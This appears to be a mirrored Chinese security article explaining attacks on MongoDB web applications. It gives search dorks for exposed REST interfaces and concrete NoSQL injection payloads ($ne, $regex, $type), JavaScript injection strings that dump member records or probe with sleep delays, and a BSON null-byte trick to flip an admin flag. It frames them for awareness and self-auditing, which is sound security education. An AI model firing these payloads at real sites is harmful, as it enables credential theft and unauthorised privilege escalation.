Attacking MongoDB

wyzsk發表於2020-08-19
作者: 瞌睡龍 · 2014/01/10 17:14

0x00 背景


本文主要來自於HITB Ezine Issue 010中的《Attacking MongoDB》

MongoDB是一個基於分散式檔案儲存的資料庫。由C++語言編寫。旨在為WEB應用提供可擴充套件的高效能資料儲存解決方案。是一個介於關聯式資料庫和非關聯式資料庫之間的產品,是非關聯式資料庫當中功能最豐富,最像關聯式資料庫的。他支援的資料結構非常鬆散,是類似json的bson格式,因此可以儲存比較複雜的資料型別。Mongo最大的特點是他支援的查詢語言非常強大,其語法有點類似於物件導向的查詢語言,幾乎可以實現類似關聯式資料庫單表查詢的絕大部分功能,而且還支援對資料建立索引。

開發人員使用NoSQL資料庫的各種應用越來越多。 針對NoSQL的攻擊方法是知之甚少,並不太常見。與SQL隱碼攻擊比較,本文重點介紹透過MongoDB的漏洞對Web應用程式可能的攻擊。

0x01 攻擊


1)REST介面

關注到有一個REST介面,提供一個web介面訪問,預設執行在28017埠上,管理員可以用瀏覽器遠端控制資料庫,這個介面我發現了兩個儲存型xss以及很多的CSRF。

尋找方式:

http://www.shodanhq.com/search?q=port%3A28017

enter image description here

google搜尋:

intitle:mongo intext:"listDatabases"

enter image description here

下了最新版本的mongodb預設不是啟用rest的,需要在配置檔案(/etc/mongod.conf)中加入一行

rest = true

才可以開啟其他連結內容。

下圖展示了攻擊方法

插入js程式碼,讓管理員執行,利用REST介面,執行mongodb的命令,結果返回到攻擊者的伺服器上。

enter image description here

例如,我利用js程式碼讓管理員訪問http://xxx.com:28017/admin/$cmd/?filter_eval=function()%7B%20return%20db.version()%20%7D&limit=1

返回結果:

enter image description here

2)Apache+PHP+MongoDB

一段php操作MongoDB的程式碼:

#!php
$q = array("name" => $_GET['login'], "password" => $_ GET['password']);
$cursor = $collection->findOne($q);

這個指令碼的是向MongoDB資料庫請求,如果正常的話,會返回使用者的資料:

#!php
echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password']; 

訪問下面的連線

?login=admin&password=pa77w0rd 

資料庫裡的執行情況是:

db.items.findOne({"name" :"admin", "password" : "pa77w0rd"}) 

如果資料庫裡存在的該使用者名稱及密碼則返回true,否則返回fales。

下面的資料庫語句,返回的為使用者不是admin的資料($ne代表不等於):

db.items.find({"name" :{$ne : "admin"}}) 

那麼在現實中的資料庫操作例子通常是這樣子的:

db.items.findOne({"name" :"admin", "password" : {$ne : "1"}}) 

返回結果將是:

{
    "_id" : ObjectId("4fda5559e5afdc4e22000000"),
    "name" : "admin",
    "password" : "pa77w0rd"
}

php傳入的方式為:

#!php
$q = array("name" => "admin", "password" => array("\$ne" => "1"));

外界請求的引數應該為:

?login=admin&password[$ne]=1   

當使用正則$regex的時候,執行下列資料庫語句,將會返回name中所有已y開頭的資料

db.items.find({name: {$regex: "^y"}})  

如果請求資料的指令碼換為:

#!php
$cursor1 = $collection->find(array("login" => $user, "pass" => $pass));

返回結果的資料為:

#!php
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>'; 

如果想要返回所有資料的話,可以訪問下面的url:

?login[$regex]=^&password[$regex]=^ 

返回結果將會是:

id: 1
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice=

還有一種利用$type的方式:

?login[$not][$type]=1&password[$not][$type]=1 

官方這裡有詳細介紹$type的各個值代表的意思:

http://cn.docs.mongodb.org/manual/reference/operator/query/type/

上面語句表示獲取login與password不為雙精度型別的,同樣會返回所有的資料。

3)INJECTION MongoDB

當執行的語句採用字串拼接的時候,同樣也存在注入的問題,如下程式碼:

#!php
$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";

當$login與$pass是直接從外界提交到引數獲取:

$login = $_GET['login'];
$pass = $_GET['password'];

並且沒有任何過濾,直接帶入查詢:

#!php
$db->execute($q);
$cursor1 = $collection->find(array("id" => 2));
foreach($cursor1 as $obj2){
echo "Your login:".$obj2['login'];
echo "<br>Your password:".$obj2['pass'];
} 

輸入測試資料:

?login=user&password=password

返回結果將是:

Your login: user
Your password: password  

輸入

?login=user&password=';

頁面將會返回報錯。

輸入

/?login=user&password=1'; var a = '1 

頁面返回正常,如何注入出資料呢:

?login=user&password=1'; var loginn = db.version(); var b='

看一下返回結果:

enter image description here

帶入實際中$q是變為:

#!php
$q = "function() { var loginn = user; var passs = '1'; var loginn = db.version(); var b=''; db.members.insert({id : 2, login : loginn, pass : passs}); }"

獲取其他資料的方法:

 /?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2

給loginn重新賦值,覆蓋原來的user內容,tojson函式幫助獲取到完整的資料資訊,否則的話將會接收到一個Array。

最重要的部分是db.memeber.find()[0],member是一個表,find函式是獲取到所有內容,[0]表示獲取第一個陣列內,可以遞增獲取所有的內容。

當然也有可能遇到沒有返回結果的時候,經典的時間延遲注入也可以使用:

?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2 

4)BSON

BSON(Binary Serialized Document Format)是一種類json的一種二進位制形式的儲存格式,簡稱Binary JSON,它和JSON一樣,支援內嵌的文件物件和陣列物件,但是BSON有JSON沒有的一些資料型別,如Date和BinData型別。

預設test表中有兩條資料:

> db.test.find({}) 
{ "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false } 

再插入一條:

> db.test.insert({ "name" : "noadmin2", "isadmin" : false}) 

然後查詢看結果:

> db.test.find({})
{ "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("52cfa92ce085a58263f183fb"), "name" : "noadmin2", "isadmin" : false } 

再插入一條列名為BSON物件的資料:

db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})

isadmin之前的0x08是指該資料型別是布林型,後面的0x01是把這個值設定為1。

這時再查詢就回發現isadmin變為的true:

> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true } 

不過測試最新版的mongodb中,禁止了空字元。

enter image description here

當然了 我也覺得此類攻擊有點YY。。。

0x02 總結


本文列舉了四種攻擊mongodb的方式。

當然這並不是安全否認mongodb的安全性,只是構造了集中可能存在攻擊的場景。

希望大家看到後能夠自查一下,以免受到攻擊。

還有一些wofeiwo在2011年的時候就已經寫過:

Mongodb安全性初探

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章